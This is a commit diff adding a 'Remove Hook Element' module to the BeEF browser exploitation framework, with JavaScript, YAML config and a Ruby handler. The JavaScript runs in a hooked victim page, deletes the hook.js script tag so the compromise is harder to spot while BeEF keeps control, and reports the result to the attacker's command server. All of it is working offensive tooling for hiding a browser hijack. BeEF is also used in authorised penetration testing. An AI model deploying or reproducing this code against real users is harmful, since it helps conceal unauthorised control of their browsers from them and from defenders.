Browser Module to remove the BeEF hook.js script element
This commit is contained in:
29
modules/browser/remove_hook_element/command.js
Normal file
29
modules/browser/remove_hook_element/command.js
Normal file
@@ -0,0 +1,29 @@
|
||||
//
|
||||
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
beef.execute(function() {
|
||||
|
||||
/**
|
||||
* Removes the BeEF hook.js
|
||||
* @return: true if the hook.js script is removed from the DOM
|
||||
*/
|
||||
var removeHookElem = function() {
|
||||
var removedFrames = $j('script[src*="'+beef.net.hook+'"]').remove();
|
||||
if (removedFrames.length > 0) {
|
||||
return true;
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
if (removeHookElem() == true) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=successfully removed the hook script element");
|
||||
} else {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=something did not work");
|
||||
}
|
||||
|
||||
});
|
||||
|
||||
15
modules/browser/remove_hook_element/config.yaml
Normal file
15
modules/browser/remove_hook_element/config.yaml
Normal file
@@ -0,0 +1,15 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
remove_hook_element:
|
||||
enable: true
|
||||
category: "Browser"
|
||||
name: "Remove Hook Element"
|
||||
description: "This module removes the BeEF hook script element from the hooked page, but the underlying BeEF DOM object remains."
|
||||
authors: ["xntrik"]
|
||||
target:
|
||||
working: ["All"]
|
||||
14
modules/browser/remove_hook_element/module.rb
Normal file
14
modules/browser/remove_hook_element/module.rb
Normal file
@@ -0,0 +1,14 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
class Remove_hook_element < BeEF::Core::Command
|
||||
|
||||
def post_execute
|
||||
content = {}
|
||||
content["result"] = @datastore["result"] if not @datastore["result"].nil?
|
||||
save content
|
||||
end
|
||||
|
||||
end
|
||||
Reference in New Issue
Block a user